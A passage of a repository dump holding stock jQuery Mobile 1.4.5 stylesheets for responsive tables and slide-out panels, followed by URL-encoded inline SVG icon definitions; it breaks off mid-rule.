th.ui-table-priority-5, td.ui-table-priority-5, th.ui-table-priority-4, td.ui-table-priority-4, th.ui-table-priority-3, td.ui-table-priority-3, th.ui-table-priority-2, td.ui-table-priority-2, th.ui-table-priority-1, td.ui-table-priority-1 { display: none; } } /* Preset breakpoints if ".ui-responsive" class added to table */ /* Show priority 1 at 320px (20em x 16px) */ @media screen and (min-width: 20em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-1, .ui-table-columntoggle.ui-responsive td.ui-table-priority-1 { display: table-cell; } } /* Show priority 2 at 480px (30em x 16px) */ @media screen and (min-width: 30em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-2, .ui-table-columntoggle.ui-responsive td.ui-table-priority-2 { display: table-cell; } } /* Show priority 3 at 640px (40em x 16px) */ @media screen and (min-width: 40em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-3, .ui-table-columntoggle.ui-responsive td.ui-table-priority-3 { display: table-cell; } } /* Show priority 4 at 800px (50em x 16px) */ @media screen and (min-width: 50em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-4, .ui-table-columntoggle.ui-responsive td.ui-table-priority-4 { display: table-cell; } } /* Show priority 5 at 960px (60em x 16px) */ @media screen and (min-width: 60em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-5, .ui-table-columntoggle.ui-responsive td.ui-table-priority-5 { display: table-cell; } } /* Show priority 6 at 1,120px (70em x 16px) */ @media screen and (min-width: 70em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-6, .ui-table-columntoggle.ui-responsive td.ui-table-priority-6 { display: table-cell; } } /* Unchecked manually: Always hide */ .ui-table-columntoggle th.ui-table-cell-hidden, .ui-table-columntoggle td.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive th.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive td.ui-table-cell-hidden { display: none; } /* Checked manually: Always show */ .ui-table-columntoggle th.ui-table-cell-visible, .ui-table-columntoggle td.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive th.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive td.ui-table-cell-visible { display: table-cell; } /* Styles for the table columntoggle mode */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { display: none; } /* Mobile first styles: Begin with the stacked presentation at narrow widths */ @media only all { /* Hide the table headers */ .ui-table-reflow thead td, .ui-table-reflow thead th { display: none; } /* Show the table cells as a block level element */ .ui-table-reflow td, .ui-table-reflow th { text-align: left; display: block; } /* Add a fair amount of top margin to visually separate each row when stacked */ .ui-table-reflow tbody th { margin-top: 3em; } /* Make the label elements a percentage width */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { padding: .4em; min-width: 30%; display: inline-block; margin: -.4em 1em -.4em -.4em; } /* For grouped headers, have a different style to visually separate the levels by classing the first label in each col group */ .ui-table-reflow th .ui-table-cell-label-top, .ui-table-reflow td .ui-table-cell-label-top { display: block; padding: .4em 0; margin: .4em 0; text-transform: uppercase; font-size: .9em; font-weight: normal; } } /* Breakpoint to show as a standard table at 560px (35em x 16px) or wider */ @media ( min-width: 35em ) { /* Show the table header rows */ .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th, .ui-table-reflow.ui-responsive tbody th, .ui-table-reflow.ui-responsive tbody td, .ui-table-reflow.ui-responsive thead td, .ui-table-reflow.ui-responsive thead th { display: table-cell; margin: 0; } /* Hide the labels in each cell */ .ui-table-reflow.ui-responsive td .ui-table-cell-label, .ui-table-reflow.ui-responsive th .ui-table-cell-label { display: none; } } /* Hack to make IE9 and WP7.5 treat cells like block level elements, scoped to ui-responsive class */ /* Applied in a max-width media query up to the table layout breakpoint so we don't need to negate this*/ @media ( max-width: 35em ) { .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th { width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; float: left; clear: left; } } /* Panel */ .ui-panel { width: 17em; min-height: 100%; max-height: none; border-width: 0; position: absolute; top: 0; display: block; } .ui-panel-closed { width: 0; max-height: 100%; overflow: hidden; visibility: hidden; left: 0; clip: rect(1px,1px,1px,1px); } .ui-panel-fixed { position: fixed; bottom: -1px; /* Fixes gap on Chrome for Android */ padding-bottom: 1px; } .ui-panel-display-reveal { z-index: 1; } .ui-panel-display-push { z-index: 999; } .ui-panel-display-overlay { z-index: 1001; /* Fixed toolbars have z-index 1000 */ } .ui-panel-inner { padding: 1em; } /* Container, page and wrapper */ .ui-panel-page-container { overflow-x: visible; } .ui-panel-page-container-themed .ui-page-active { background: none; } .ui-panel-wrapper { position: relative; min-height: inherit; border: 0; overflow-x: hidden; z-index: 999; } /* Fixed toolbars */ .ui-panel-fixed-toolbar { overflow-x: hidden; } /* Dismiss */ .ui-panel-dismiss { position: absolute; top: 0; left: 0; right: 0; height: 100%; z-index: 1002; display: none; } .ui-panel-dismiss-open { display: block; } /* Animate class is added to panel, wrapper and fixed toolbars */ .ui-panel-animate { -webkit-transition: -webkit-transform 300ms ease; -webkit-transition-duration: 300ms; -moz-transition: -moz-transform 300ms ease; transition: transform 300ms ease; } /* Fix for Windows Phone issue #6349: unset the transition for transforms in case of fixed toolbars. */ @media screen and ( max-device-width: 768px ) { .ui-page-header-fixed .ui-panel-animate.ui-panel-wrapper, .ui-page-footer-fixed .ui-panel-animate.ui-panel-wrapper, .ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: none; } /* We need a transitionend event ... */ .ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: -ms-transform 1ms; -ms-transform: rotate(0deg); } } /* Hardware acceleration for smoother transitions on WebKit browsers */ .ui-panel-animate.ui-panel:not(.ui-panel-display-reveal) { -webkit-backface-visibility: hidden; -webkit-transform: translate3d(0,0,0); } /* Panel positioning (for overlay and push) */ /* Panel left closed */ .ui-panel-position-left { left: -17em; } /* Panel left closed animated */ .ui-panel-animate.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-left.ui-panel-display-push { left: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Panel left open */ .ui-panel-position-left.ui-panel-display-reveal, /* Unset "panel left closed" for reveal */ .ui-panel-open.ui-panel-position-left { left: 0; } /* Panel left open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Panel right closed */ .ui-panel-position-right { right: -17em; } /* Panel right closed animated */ .ui-panel-animate.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-right.ui-panel-display-push { right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-position-right.ui-panel-display-reveal, /* Unset "panel right closed" for reveal */ .ui-panel-position-right.ui-panel-open { right: 0; } /* Panel right open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Wrapper and fixed toolbars positioning (for reveal and push) */ /* Panel left open */ .ui-panel-page-content-position-left { left: 17em; right: -17em; } /* Panel left open animated */ .ui-panel-animate.ui-panel-page-content-position-left { left: 0; right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-page-content-position-right { left: -17em; right: 17em; } /* Panel right open animated */ .ui-panel-animate.ui-panel-page-content-position-right { left: 0; right: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Dismiss model open */ .ui-panel-dismiss-open.ui-panel-dismiss-position-left { left: 17em; } .ui-panel-dismiss-open.ui-panel-dismiss-position-right { right: 17em; } /* Shadows and borders */ .ui-panel-display-reveal { -webkit-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); box-shadow: inset -5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-reveal { -webkit-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); box-shadow: inset 5px 0 5px rgba(0,0,0,.15); } .ui-panel-display-overlay { -webkit-box-shadow: 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: 5px 0 5px rgba(0,0,0,.15); box-shadow: 5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-overlay { -webkit-box-shadow: -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: -5px 0 5px rgba(0,0,0,.15); box-shadow: -5px 0 5px rgba(0,0,0,.15); } .ui-panel-open.ui-panel-position-left.ui-panel-display-push { border-right-width: 1px; margin-right: -1px; } .ui-panel-page-content-position-left.ui-panel-page-content-display-push { margin-left: 1px; width: auto; } .ui-panel-open.ui-panel-position-right.ui-panel-display-push { border-left-width: 1px; margin-left: -1px; } .ui-panel-page-content-position-right.ui-panel-page-content-display-push { margin-right: 1px; width: auto; } /* Responsive: wrap on wide viewports once open */ @media (min-width:55em) { .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-left { margin-right: 17em; } .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-right { margin-left: 17em; } .ui-responsive-panel .ui-panel-page-content-open { width: auto; } .ui-responsive-panel .ui-panel-dismiss-display-push, .ui-responsive-panel.ui-page-active ~ .ui-panel-dismiss-display-push { display: none; } } .ui-tabs { position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ padding: .2em; } ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.mobile/jquery.mobile.inline-svg-1.4.5.css ================================================ /*! * jQuery Mobile 1.4.5 * Git HEAD hash: 68e55e78b292634d3991c795f06f5e37a512decc <> Date: Fri Oct 31 2014 17:33:30 UTC * http://jquerymobile.com * * Copyright 2010, 2014 jQuery Foundation, Inc. and othercontributors * Released under the MIT license. * http://jquery.org/license * */ .ui-icon-action:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M9%2C5v3l5-4L9%2C0v3c0%2C0-5%2C0-5%2C7C6%2C5%2C9%2C5%2C9%2C5z%20M11%2C12H2V5h1l2-2H0v11h13V7l-2%2C2V12z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-alert:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C0L0%2C12h14L7%2C0z%20M7%2C11c-0.553%2C0-1-0.447-1-1s0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1S7.553%2C11%2C7%2C11z%20M7%2C8%20C6.447%2C8%2C6%2C7.553%2C6%2C7V5c0-0.553%2C0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1v2C8%2C7.553%2C7.553%2C8%2C7%2C8z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-d-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C3%2011%2C0%203.5%2C7.5%200%2C4%200%2C14%2010%2C14%206.5%2C10.5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-d-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2210.5%2C7.5%203%2C0%200%2C3%207.5%2C10.5%204%2C14%2014%2C14%2014%2C4%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%229%2C7%209%2C0%205%2C0%205%2C7%200%2C7%207%2C14%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%227%2C5%207%2C0%200%2C7%207%2C14%207%2C9%2014%2C9%2014%2C5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C7%207%2C0%207%2C5%200%2C5%200%2C9%207%2C9%207%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-u-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C11%206.5%2C3.5%2010%2C0%200%2C0%200%2C10%203.5%2C6.5%2011%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-u-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C0%204%2C0%207.5%2C3.5%200%2C11%203%2C14%2010.5%2C6.5%2014%2C10%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%227%2C0%200%2C7%205%2C7%205%2C14%209%2C14%209%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-audio:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.018px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014.018%2014%22%20style%3D%22enable-background%3Anew%200%200%2014.018%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M1%2C4C0.447%2C4%2C0%2C4.447%2C0%2C5v4c0%2C0.553%2C0.447%2C1%2C1%2C1h1l4%2C4V0L2%2C4H1z%20M10.346%2C7c0-1.699-1.042-3.154-2.546-3.867L6.982%2C4.68%20C7.885%2C5.107%2C8.51%2C5.98%2C8.51%2C7S7.885%2C8.893%2C6.982%2C9.32L7.8%2C10.867C9.304%2C10.154%2C10.346%2C8.699%2C10.346%2C7z%20M9.447%2C0.017L8.618%2C1.586%20C10.723%2C2.584%2C12.182%2C4.621%2C12.182%2C7s-1.459%2C4.416-3.563%2C5.414l0.829%2C1.569c2.707-1.283%2C4.57-3.925%2C4.57-6.983%20S12.154%2C1.3%2C9.447%2C0.017z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-back:after { background-image: 